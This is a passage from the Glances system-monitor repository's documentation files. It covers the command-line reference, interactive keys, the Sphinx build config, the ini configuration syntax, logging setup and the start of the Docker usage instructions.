90.0,\n                     \"processlist_mem_warning\": 70.0,\n                     \"processlist_nice_warning\": [\"-20\",\n                                                  \"-19\",\n                                                  \"-18\",\n                                                  \"-17\",\n                                                  \"-16\",\n                                                  \"-15\",\n                                                  \"-14\",\n                                                  \"-13\",\n                                                  \"-12\",\n                                                  \"-11\",\n                                                  \"-10\",\n                                                  \"-9\",\n                                                  \"-8\",\n                                                  \"-7\",\n                                                  \"-6\",\n                                                  \"-5\",\n                                                  \"-4\",\n                                                  \"-3\",\n                                                  \"-2\",\n                                                  \"-1\",\n                                                  \"1\",\n                                                  \"2\",\n                                                  \"3\",\n                                                  \"4\",\n                                                  \"5\",\n                                                  \"6\",\n                                                  \"7\",\n                                                  \"8\",\n                                                  \"9\",\n                                                  \"10\",\n                                                  \"11\",\n                                                  \"12\",\n                                                  \"13\",\n                                                  \"14\",\n                                                  \"15\",\n                                                  \"16\",\n                                                  \"17\",\n                                                  \"18\",\n                                                  \"19\"],\n                     \"processlist_status_critical\": [\"Z\", \"D\"],\n                     \"processlist_status_ok\": [\"R\", \"W\", \"P\", \"I\"]},\n     \"programlist\": {\"history_size\": 1200.0},\n     \"psutilversion\": {\"history_size\": 1200.0},\n     \"quicklook\": {\"history_size\": 1200.0,\n                   \"quicklook_bar_char\": [\"▪\"],\n                   \"quicklook_cpu_careful\": 50.0,\n                   \"quicklook_cpu_critical\": 90.0,\n                   \"quicklook_cpu_warning\": 70.0,\n                   \"quicklook_disable\": [\"False\"],\n                   \"quicklook_list\": [\"cpu\", \"mem\", \"load\"],\n                   \"quicklook_load_careful\": 70.0,\n                   \"quicklook_load_critical\": 500.0,\n                   \"quicklook_load_warning\": 100.0,\n                   \"quicklook_mem_careful\": 50.0,\n                   \"quicklook_mem_critical\": 90.0,\n                   \"quicklook_mem_warning\": 70.0,\n                   \"quicklook_swap_careful\": 50.0,\n                   \"quicklook_swap_critical\": 90.0,\n                   \"quicklook_swap_warning\": 70.0},\n     \"sensors\": {\"history_size\": 1200.0,\n                 \"sensors_battery_careful\": 70.0,\n                 \"sensors_battery_critical\": 90.0,\n                 \"sensors_battery_warning\": 80.0,\n                 \"sensors_disable\": [\"False\"],\n                 \"sensors_hide\": [\"unknown.*\"],\n                 \"sensors_refresh\": 10.0,\n                 \"sensors_temperature_hdd_careful\": 45.0,\n                 \"sensors_temperature_hdd_critical\": 60.0,\n                 \"sensors_temperature_hdd_warning\": 52.0},\n     \"system\": {\"history_size\": 1200.0,\n                \"system_disable\": [\"False\"],\n                \"system_refresh\": 60},\n     \"uptime\": {\"history_size\": 1200.0},\n     \"version\": {\"history_size\": 1200.0},\n     \"wifi\": {\"history_size\": 1200.0,\n              \"wifi_careful\": -65.0,\n              \"wifi_critical\": -85.0,\n              \"wifi_disable\": [\"False\"],\n              \"wifi_warning\": -75.0}}\n\nLimits/thresholds for the cpu plugin::\n\n    # curl http://localhost:61208/api/4/cpu/limits\n    {\"cpu_ctx_switches_careful\": 640000.0,\n     \"cpu_ctx_switches_critical\": 800000.0,\n     \"cpu_ctx_switches_warning\": 720000.0,\n     \"cpu_disable\": [\"False\"],\n     \"cpu_iowait_careful\": 5.0,\n     \"cpu_iowait_critical\": 6.25,\n     \"cpu_iowait_warning\": 5.625,\n     \"cpu_steal_careful\": 50.0,\n     \"cpu_steal_critical\": 90.0,\n     \"cpu_steal_warning\": 70.0,\n     \"cpu_system_careful\": 50.0,\n     \"cpu_system_critical\": 90.0,\n     \"cpu_system_log\": [\"False\"],\n     \"cpu_system_warning\": 70.0,\n     \"cpu_total_careful\": 65.0,\n     \"cpu_total_critical\": 85.0,\n     \"cpu_total_log\": [\"True\"],\n     \"cpu_total_warning\": 75.0,\n     \"cpu_user_careful\": 50.0,\n     \"cpu_user_critical\": 90.0,\n     \"cpu_user_log\": [\"False\"],\n     \"cpu_user_warning\": 70.0,\n     \"history_size\": 1200.0}\n\n"
  },
  {
    "path": "docs/build.sh",
    "content": "#!/bin/sh\n\nmake clean\nmake html\nLC_ALL=C make man\n"
  },
  {
    "path": "docs/cmds.rst",
    "content": ".. _cmds:\n\nCommand Reference\n=================\n\nCommand-Line Options\n--------------------\n\n.. option:: -h, --help\n\n    show this help message and exit\n\n.. option:: -V, --version\n\n    show the program's version number and exit\n\n.. option:: -d, --debug\n\n    enable debug mode\n\n.. option:: --print-completion\n\n    generate shell tab completion scripts for Glances CLI\n\n.. option:: -C CONF_FILE, --config CONF_FILE\n\n    path to the configuration file\n\n.. option:: -P PLUGIN_DIRECTORY, --plugins PLUGIN_DIRECTORY\n\n    path to a directory containing additional plugins\n\n.. option:: --modules-list\n\n    display modules (plugins & exports) list and exit\n\n.. option:: --disable-plugin PLUGIN\n\n    disable PLUGIN (comma-separated list)\n\n.. option:: --enable-plugin PLUGIN\n\n    enable PLUGIN (comma-separated list)\n\n.. option:: --stdout PLUGINS_STATS\n\n    display stats to stdout (comma-separated list of plugins/plugins.attribute)\n\n.. option:: --export EXPORT\n\n    enable EXPORT module (comma-separated list)\n\n.. option:: --export-csv-file EXPORT_CSV_FILE\n\n    file path for CSV exporter\n\n.. option:: --export-json-file EXPORT_JSON_FILE\n\n    file path for JSON exporter\n\n.. option:: --disable-process\n\n    disable process module (reduce Glances CPU consumption)\n\n.. option:: --disable-webui\n\n    disable the Web UI (only the RESTful API will respond)\n\n.. option:: --light, --enable-light\n\n    light mode for Curses UI (disable all but the top menu)\n\n.. option:: -0, --disable-irix\n\n    task's CPU usage will be divided by the total number of CPUs\n\n.. option:: -1, --percpu\n\n    start Glances in per CPU mode\n\n.. option:: -2, --disable-left-sidebar\n\n    disable network, disk I/O, FS and sensors modules\n\n.. option:: -3, --disable-quicklook\n\n    disable quick look module\n\n.. option:: -4, --full-quicklook\n\n    disable all but quick look and load\n\n.. option:: -5, --disable-top\n\n    disable top menu (QuickLook, CPU, MEM, SWAP, and LOAD)\n\n.. option:: -6, --meangpu\n\n    start Glances in mean GPU mode\n\n.. option:: --disable-bold\n\n    disable bold mode in the terminal\n\n.. option:: --disable-bg\n\n    disable background colors in the terminal\n\n.. option:: --enable-process-extended\n\n    enable extended stats on top process\n\n.. option:: -c CLIENT, --client CLIENT\n\n    connect to a Glances server by IPv4/IPv6 address, hostname or hostname:port\n\n.. option:: -s, --server\n\n    run Glances in server mode\n\n.. option:: --browser\n\n    start TUI Central Glances Browser\n    use --browser -w to start WebUI Central Glances Browser\n\n.. option:: --disable-autodiscover\n\n    disable autodiscover feature\n\n.. option:: -p PORT, --port PORT\n\n    define the client/server TCP port [default: 61209]\n\n.. option:: -B BIND_ADDRESS, --bind BIND_ADDRESS\n\n    bind server to the given IPv4/IPv6 address or hostname\n\n.. option:: --username\n\n    define a client/server username\n\n.. option:: --password\n\n    define a client/server password\n\n.. option:: --snmp-community SNMP_COMMUNITY\n\n    SNMP community\n\n.. option:: --snmp-port SNMP_PORT\n\n    SNMP port\n\n.. option:: --snmp-version SNMP_VERSION\n\n    SNMP version (1, 2c or 3)\n\n.. option:: --snmp-user SNMP_USER\n\n    SNMP username (only for SNMPv3)\n\n.. option:: --snmp-auth SNMP_AUTH\n\n    SNMP authentication key (only for SNMPv3)\n\n.. option:: --snmp-force\n\n    force SNMP mode\n\n.. option:: -t TIME, --time TIME\n\n    set refresh time in seconds [default: 3 sec]\n\n.. option:: -w, --webserver\n\n    run Glances in web server mode (FastAPI lib needed)\n\n.. option:: --enable-mcp\n\n    enable the MCP (Model Context Protocol) server alongside the web server\n    (``mcp`` package needed, see :ref:`api_mcp`)\n\n.. option:: --mcp-path MCP_PATH\n\n    set the MCP server mount path [default: /mcp]\n\n.. option:: --cached-time CACHED_TIME\n\n    set the server cache time [default: 1 sec]\n\n.. option:: --open-web-browser\n\n    try to open the Web UI in the default Web browser\n\n.. option:: -q, --quiet\n\n    do not display the curses interface\n\n.. option:: -f PROCESS_FILTER, --process-filter PROCESS_FILTER\n\n    set the process filter pattern (regular expression)\n\n.. option:: --process-short-name\n\n    force short name for processes name\n\n.. option:: --hide-kernel-threads\n\n    hide kernel threads in the process list (not available on Windows)\n\n.. option:: -b, --byte\n\n    display network rate in bytes per second\n\n.. option:: --diskio-show-ramfs\n\n    show RAM FS in the DiskIO plugin\n\n.. option:: --diskio-iops\n\n    show I/O per second in the DiskIO plugin\n\n.. option:: --fahrenheit\n\n    display temperature in Fahrenheit (default is Celsius)\n\n.. option:: --fs-free-space\n\n    display FS free space instead of used\n\n.. option:: --theme-white\n\n    optimize display colors for a white background\n\n.. option:: --disable-check-update\n\n    disable online Glances version check\n\nInteractive Commands\n--------------------\n\nThe following commands (key pressed) are supported while in Glances:\n\n``ENTER``\n    Set the process filter\n\n    .. note:: On macOS please use ``CTRL-H`` to delete filter.\n\n    The filter is a regular expression pattern:\n\n    - ``gnome``: matches all processes starting with the ``gnome``\n      string\n\n    - ``.*gnome.*``: matches all processes containing the ``gnome``\n      string\n\n``a``\n    Sort process list automatically\n\n    - If CPU ``>70%``, sort processes by CPU usage\n\n    - If MEM ``>70%``, sort processes by MEM usage\n\n    - If CPU iowait ``>60%``, sort processes by I/O read and write\n\n``A``\n    Enable/disable the Application Monitoring Process\n\n``b``\n    Switch between bit/s or Byte/s for network I/O\n\n``B``\n    View disk I/O counters per second\n\n``c``\n    Sort processes by CPU usage\n\n``C``\n    Enable/disable cloud stats\n\n``d``\n    Show/hide disk I/O stats\n\n``D``\n    Enable/disable Docker stats\n\n``e``\n    Enable/disable top extended stats\n\n``E``\n    Erase the current process filter\n\n``f``\n    Show/hide file system and folder monitoring stats\n\n``F``\n    Switch between file system used and free space\n\n``g``\n    Generate graphs for current history\n\n``G``\n    Enable/disable GPU stats\n\n``h``\n    Show/hide the help screen\n\n``i``\n    Sort processes by I/O rate\n\n``I``\n    Show/hide IP module\n\n``+``\n    Increase selected process nice level / Lower the priority (need right) - Only in standalone mode.\n\n``-``\n    Decrease selected process nice level / Higher the priority (need right) - Only in standalone mode.\n\n``k``\n    Kill selected process (need right) - Only in standalone mode.\n\n``K``\n    Show/hide TCP connections\n\n``l``\n    Show/hide log messages\n\n``m``\n    Sort processes by MEM usage\n\n``M``\n    Reset processes summary min/max\n\n``n``\n    Show/hide network stats\n\n``N``\n    Show/hide current time\n\n``p``\n    Sort processes by name\n\n``P``\n    Enable/Disable ports stats\n\n``q|ESC|CTRL-C``\n    Quit the current Glances session\n\n``Q``\n    Show/hide IRQ module\n\n``r``\n    Reset history\n\n``R``\n    Show/hide RAID plugin\n\n``s``\n    Show/hide sensors plugin\n\n``S``\n    Enable/disable spark lines\n\n``t``\n    Sort process by CPU times (TIME+)\n\n``T``\n    View network I/O as a combination\n\n``u``\n    Sort processes by USER\n\n``U``\n    View cumulative network I/O\n\n``V``\n    Show/hide VMS plugin\n\n``w``\n    Delete finished warning log messages\n\n``W``\n    Show/hide Wifi module\n\n``x``\n    Delete finished warning and critical log messages\n\n``z``\n    Show/hide processes stats\n\n``0``\n    Enable/disable Irix/Solaris mode\n\n    The task's CPU usage will be divided by the total number of CPUs\n\n``1``\n    Switch between global CPU and per-CPU stats\n\n``2``\n    Enable/disable the left sidebar\n\n``3``\n    Enable/disable the quick look module\n\n``4``\n    Enable/disable all but quick look and load module\n\n``5``\n    Enable/disable the top menu (QuickLook, CPU, MEM, SWAP, and LOAD)\n\n``6``\n    Enable/disable mean GPU mode\n\n``9``\n    Switch UI theme between black and white\n\n``/``\n    Switch between process command line or command name\n\n``F5`` or ``CTRL-R``\n    Refresh user interface\n\n``SHIFT-LEFT``\n    Navigation left through the process sort\n\n``SHIFT-RIGHT``\n    Navigation right through the process sort\n\n``LEFT``\n    Navigation left through the process name\n\n``RIGHT``\n    Navigation right through the process name\n\n``UP``\n    Up in the processes list\n\n``DOWN``\n    Down in the processes list\n\nIn the Glances client browser (accessible through the ``--browser``\ncommand line argument):\n\n``ENTER``\n    Run the selected server\n\n``UP``\n    Up in the servers list\n\n``DOWN``\n    Down in the servers list\n\n``q|ESC``\n    Quit Glances\n"
  },
  {
    "path": "docs/conf.py",
    "content": "#\n# Glances documentation build configuration file, created by\n# sphinx-quickstart on Tue Mar  1 10:53:59 2016.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport os\nimport sys\nfrom datetime import datetime\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n# sys.path.insert(0, os.path.abspath('.'))\n\n# Insert Glances' path into the system.\nsys.path.insert(0, os.path.abspath('..'))\n\n# WARNING: Do not move this import before the sys.path.insert() call.\nfrom glances import __version__\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\n# extensions = ['sphinxcontrib.autohttp.bottle']\nextensions = ['sphinx.ext.intersphinx']\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The encoding of source files.\n# source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'Glances'\nauthor = 'Nicolas Hennion'\ntry:\n    year = datetime.utcfromtimestamp(int(os.environ['SOURCE_DATE_EPOCH'])).year\nexcept (KeyError, ValueError):\n    year = datetime.now().year\ncopyright = f'{year}, {author}'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = __version__\n# The full version, including alpha/beta/rc tags.\nrelease = version\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\n# language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n# today = ''\n# Else, today_fmt is used as the format for a strftime call.\n# today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n# default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n# add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n# add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n# show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n# modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n# keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\nhtml_theme = 'sphinx_rtd_theme'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\nhtml_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n# html_theme_path = []\n\n# The name for this set of Sphinx documents.  If None, it defaults to\n# \"<project> v<release> documentation\".\n# html_title = None\n\n# A shorter title for the navigation bar.  Default is the same as html_title.\n# html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n# html_logo = None\n\n# The name of an image file (relative to this directory) to use as a favicon of\n# the docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n# html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n# html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n# html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n# html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\nhtml_sidebars = {'**': ['about.html', 'navigation.html', 'links.html', 'searchbox.html']}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n# html_additional_pages = {}\n\n# If false, no module index is generated.\n# html_domain_indices = True\n\n# If false, no index is generated.\n# html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n# html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\nhtml_show_sourcelink = False\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n# html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n# html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it.  The value of this option must be the\n# base URL from which the finished HTML is served.\n# html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n# html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n#   'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'\n#   'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'\n# html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n# html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n# html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'Glancesdoc'\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    # 'papersize': 'letterpaper',\n    # The font size ('10pt', '11pt' or '12pt').\n    # 'pointsize': '10pt',\n    # Additional stuff for the LaTeX preamble.\n    # 'preamble': '',\n    # Latex figure (float) alignment\n    # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n    (master_doc, 'Glances.tex', 'Glances Documentation', 'Nicolas Hennion', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n# latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n# latex_use_parts = False\n\n# If true, show page references after internal links.\n# latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n# latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n# latex_appendices = []\n\n# If false, no module index is generated.\n# latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [('glances', 'glances', 'An eye on your system', '', 1)]\n\n# If true, show URL addresses after external links.\n# man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (\n        master_doc,\n        'Glances',\n        'Glances Documentation',\n        author,\n        'Glances',\n        'One line description of project.',\n        'Miscellaneous',\n    ),\n]\n\n# Documents to append as an appendix to all manuals.\n# texinfo_appendices = []\n\n# If false, no module index is generated.\n# texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n# texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n# texinfo_no_detailmenu = False\n"
  },
  {
    "path": "docs/config.rst",
    "content": ".. _config:\n\nConfiguration\n=============\n\nNo configuration file is mandatory to use Glances.\n\nFurthermore, a configuration file is needed to access more settings.\n\nLocation\n--------\n\n.. note::\n    A template is available in the ``/usr{,/local}/share/doc/glances``\n    (Unix-like) directory or directly on `GitHub`_.\n\nYou can place your ``glances.conf`` file in the following locations:\n\n==================== =============================================================\n``Linux``, ``SunOS`` ~/.config/glances/, /etc/glances/, /usr/share/doc/glances/\n``*BSD``             ~/.config/glances/, /usr/local/etc/glances/, /usr/share/doc/glances/\n``macOS``            ~/.config/glances/, ~/Library/Application Support/glances/, /usr/local/etc/glances/, /usr/share/doc/glances/\n``Windows``          %APPDATA%\\\\glances\\\\glances.conf\n``All``              + <venv_root_folder>/share/doc/glances/\n==================== =============================================================\n\n- On Windows XP, ``%APPDATA%`` is: ``C:\\Documents and Settings\\<USERNAME>\\Application Data``.\n- On Windows Vista and later: ``C:\\Users\\<USERNAME>\\AppData\\Roaming``.\n\nUser-specific options override system-wide options, and options given on\nthe command line overrides both.\n\nSyntax\n------\n\nGlances read configuration files in the *ini* syntax.\n\nA first section (called global) is available:\n\n.. code-block:: ini\n\n    [global]\n    # Refresh rate (default is a minimum of 2 seconds)\n    # Can be overwritten by the -t <sec> option\n    # It is also possible to overwrite it in each plugin section\n    refresh=2\n    # Should Glances check if a newer version is available on PyPI ?\n    check_update=true\n    # History size (maximum number of values)\n    # Default is 1200 values (~1h with the default refresh rate)\n    history_size=1200\n    # Set the way Glances should display the date (default is %Y-%m-%d %H:%M:%S %Z)\n    #strftime_format=\"%Y-%m-%d %H:%M:%S %Z\"\n    # Define external directory for loading additional plugins\n    # The layout follows the glances standard for plugin definitions\n    #plugin_dir=/home/user/dev/plugins\n\nthan a second one concerning the user interface:\n\n.. code-block:: ini\n\n    [outputs]\n    # Options for all UIs\n    #--------------------\n    # Separator in the Curses and WebUI interface (between top and others plugins)\n    separator=True\n    # Set the the Curses and WebUI interface left menu plugin list (comma-separated)\n    #left_menu=network,wifi,connections,ports,diskio,fs,irq,folders,raid,smart,sensors,now\n    # Limit the number of processes to display (in the WebUI)\n    max_processes_display=25\n    # Options for WebUI\n    #------------------\n    # Set URL prefix for the WebUI and the API\n    # Example: url_prefix=/glances/ => http://localhost/glances/\n    # Note: The final / is mandatory\n    # Default is no prefix (/)\n    #url_prefix=/glances/\n    # Set root path for WebUI statics files\n    # Why ? On Debian system, WebUI statics files are not provided.\n    # You can download it in a specific folder\n    # thanks to https://github.com/nicolargo/glances/issues/2021\n    # then configure this folder with the webui_root_path key\n    # Default is folder where glances_restful_api.py is hosted\n    #webui_root_path=\n    # CORS options\n    # Comma separated list of origins that should be permitted to make cross-origin requests.\n    # Default is *\n    #cors_origins=*\n    # Indicate that cookies should be supported for cross-origin requests.\n    # Default is True\n    #cors_credentials=True\n    # Comma separated list of HTTP methods that should be allowed for cross-origin requests.\n    # Default is *\n    #cors_methods=*\n    # Comma separated list of HTTP request headers that should be supported for cross-origin requests.\n    # Default is *\n    #cors_headers=*\n    # Define SSL files (keyfile_password is optional)\n    #ssl_keyfile=./glances.local+3-key.pem\n    #ssl_keyfile_password=kfp\n    #ssl_certfile=./glances.local+3.pem\n\nEach plugin, export module, and application monitoring process (AMP) can\nhave a section. Below is an example for the CPU plugin:\n\n.. code-block:: ini\n\n    [cpu]\n    disable=False\n    refresh=3\n    user_careful=50\n    user_warning=70\n    user_critical=90\n    iowait_careful=50\n    iowait_warning=70\n    iowait_critical=90\n    system_careful=50\n    system_warning=70\n    system_critical=90\n    steal_careful=50\n    steal_warning=70\n    steal_critical=90\n\nan InfluxDB export module:\n\n.. code-block:: ini\n\n    [influxdb]\n    # Configuration for the --export influxdb option\n    # https://influxdb.com/\n    host=localhost\n    port=8086\n    user=root\n    password=root\n    db=glances\n    prefix=localhost\n    #tags=foo:bar,spam:eggs\n\nor a Nginx AMP:\n\n.. code-block:: ini\n\n    [amp_nginx]\n    # Nginx status page should be enabled (https://easyengine.io/tutorials/nginx/status-page/)\n    enable=true\n    regex=\\/usr\\/sbin\\/nginx\n    refresh=60\n    one_line=false\n    status_url=http://localhost/nginx_status\n\nWith Glances 3.0 or higher, you can use dynamic configuration values\nby utilizing system commands. For example, if you want to set the prefix\nof an InfluxDB export to the current hostname, use:\n\n.. code-block:: ini\n\n    [influxdb]\n    ...\n    prefix=`hostname`\n\nOr if you want to add the Operating System name as a tag:\n\n.. code-block:: ini\n\n    [influxdb]\n    ...\n    tags=system:`uname -a`\n\nLogging\n-------\n\nGlances logs all of its internal messages to a log file.\n\n``DEBUG`` messages can be logged using the ``-d`` option on the command\nline.\n\nThe location of the Glances log file depends on your operating system. You can\ndisplay the full path of the Glances log file using the ``glances -V``\ncommand line.\n\nThe file is automatically rotated when its size exceeds 1 MB.\n\nIf you want to use another system path or change the log message, you\ncan use your logger configuration. First of all, you have to create\na ``glances.json`` file with, for example, the following content (JSON\nformat):\n\n.. code-block:: json\n\n    {\n        \"version\": 1,\n        \"disable_existing_loggers\": \"False\",\n        \"root\": {\n            \"level\": \"INFO\",\n            \"handlers\": [\"file\", \"console\"]\n        },\n        \"formatters\": {\n            \"standard\": {\n                \"format\": \"%(asctime)s -- %(levelname)s -- %(message)s\"\n            },\n            \"short\": {\n                \"format\": \"%(levelname)s: %(message)s\"\n            },\n            \"free\": {\n                \"format\": \"%(message)s\"\n            }\n        },\n        \"handlers\": {\n            \"file\": {\n                \"level\": \"DEBUG\",\n                \"class\": \"logging.handlers.RotatingFileHandler\",\n                \"formatter\": \"standard\",\n                \"filename\": \"/var/tmp/glances.log\"\n            },\n            \"console\": {\n                \"level\": \"CRITICAL\",\n                \"class\": \"logging.StreamHandler\",\n                \"formatter\": \"free\"\n            }\n        },\n        \"loggers\": {\n            \"debug\": {\n                \"handlers\": [\"file\", \"console\"],\n                \"level\": \"DEBUG\"\n            },\n            \"verbose\": {\n                \"handlers\": [\"file\", \"console\"],\n                \"level\": \"INFO\"\n            },\n            \"standard\": {\n                \"handlers\": [\"file\"],\n                \"level\": \"INFO\"\n            },\n            \"requests\": {\n                \"handlers\": [\"file\", \"console\"],\n                \"level\": \"ERROR\"\n            },\n            \"elasticsearch\": {\n                \"handlers\": [\"file\", \"console\"],\n                \"level\": \"ERROR\"\n            },\n            \"elasticsearch.trace\": {\n                \"handlers\": [\"file\", \"console\"],\n                \"level\": \"ERROR\"\n            }\n        }\n    }\n\nand start Glances using the following command line:\n\n.. code-block:: console\n\n    LOG_CFG=<path>/glances.json glances\n\n.. note::\n    Replace ``<path>`` with the directory where your ``glances.json`` file\n    is hosted.\n\n.. _GitHub: https://raw.githubusercontent.com/nicolargo/glances/master/conf/glances.conf\n"
  },
  {
    "path": "docs/dev/README.txt",
    "content": "Glances profiling\n=================\n\nFirst install Sphinx and the RTD theme:\n\n    apt install graphviz\n    pip install gprof2dot\n\nThen generate the profiling diagram:\n\n    cd <Glances source>\n    python -m cProfile -o /tmp/glances.pstats ./glances/__main__.py\n    gprof2dot -f pstats /tmp/glances.pstats | dot -Tpng -o /tmp/glances-cprofile.png\n\nExample:\n\n.. image:: https://raw.githubusercontent.com/nicolargo/glances/develop/docs/dev/glances-cprofile.png\n"
  },
  {
    "path": "docs/docker.rst",
    "content": ".. _docker:\n\nDocker\n======\n\nGlances can be installed through Docker, allowing you to run it without\ninstalling all the Python dependencies directly on your system. Once you\nhave `docker installed <https://docs.docker.com/install/>`_, you can\n\nGet the Glances container:\n\n.. code-block:: console\n\n    docker pull nicolargo/glances:<version or tag>\n\nAvailable tags (all images are based on both Alpine and Ubuntu Operating Systems):\n\n.. list-table::\n   :widths: 25 15 25 35\n   :header-rows: 1\n\n   * - Image Tag\n     - OS\n     - Target\n     - Installed Dependencies\n   * - `latest-full`\n     - Alpine\n     - Latest Release\n     - Full\n   * - `latest`\n     - Alpine\n     - Latest Release\n     - Minimal + (FastAPI & Docker)\n   * - `dev`\n     - Alpine\n     - develop\n     - Full\n   * - `ubuntu-latest-full`\n     - Ubuntu\n     - Latest Release\n     - Full\n   * - `ubuntu-latest`\n     - Ubuntu\n     - Latest Release\n     - Minimal + (FastAPI & Docker)\n   * - `ubuntu-dev`\n     - Ubuntu\n     - develop\n     - Full\n\n.. warning::\n    Tags containing `dev` directly target the `develop` branch and could be unstable.\n\nFor example, if you want a full Alpine Glances image (latest release) with all dependencies, go for `latest-full`.\n\nYou can also specify a version (example: 3.4.0). All available versions can be found on `DockerHub`_.\n\nAn example of how to pull the `latest` tag:\n\n.. code-block:: console\n\n  docker pull nicolargo/glances:latest\n\nRun the container in *console mode*:\n\n.. code-block:: console\n\n    docker run --rm -v /var/run/docker.sock:/var/run/docker.sock:ro -v /run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro --pid host --network host -it docker.io/nicolargo/glances\n\nAdditionally, if you want to use your own glances.conf file, you can create your own Dockerfile:\n\n.. code-block:: console\n\n    FROM nicolargo/glances\n    COPY glances.conf /glances/conf/glances.conf\n    CMD python -m glances -C /glances/conf/glances.conf $GLANCES_OPT\n\nAlternatively, you can specify something along the same lines with docker run options:\n\n.. code-block:: console\n\n    docker run -v `pwd`/glances.conf:/etc/glances/glances.conf -v /var/run/docker.sock:/var/run/docker.sock:ro -v /run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro --pid host -it docker.io/nicolargo/glances\n\nWhere \\`pwd\\`/glances.conf is a local directory containing your glances.conf file.\n\nGlances by default uses the container's OS information in the UI. If you want to display the host's OS info, you can do that by mounting `/etc/os-release` into the container.\n\nHere is a simple docker run example for that:\n\n.. code-block:: console\n\n    docker run -v /etc/os-release:/etc/os-release:ro docker.io/nicolargo/glances\n\nRun the container in *Web server mode* (notice the `GLANCES_OPT` environment variable setting parameters for the glances startup command):\n\n.. code-block:: console\n\n    docker run -d --restart=\"always\" -p 61208-61209:61208-61209 -e GLANCES_OPT=\"-w\" 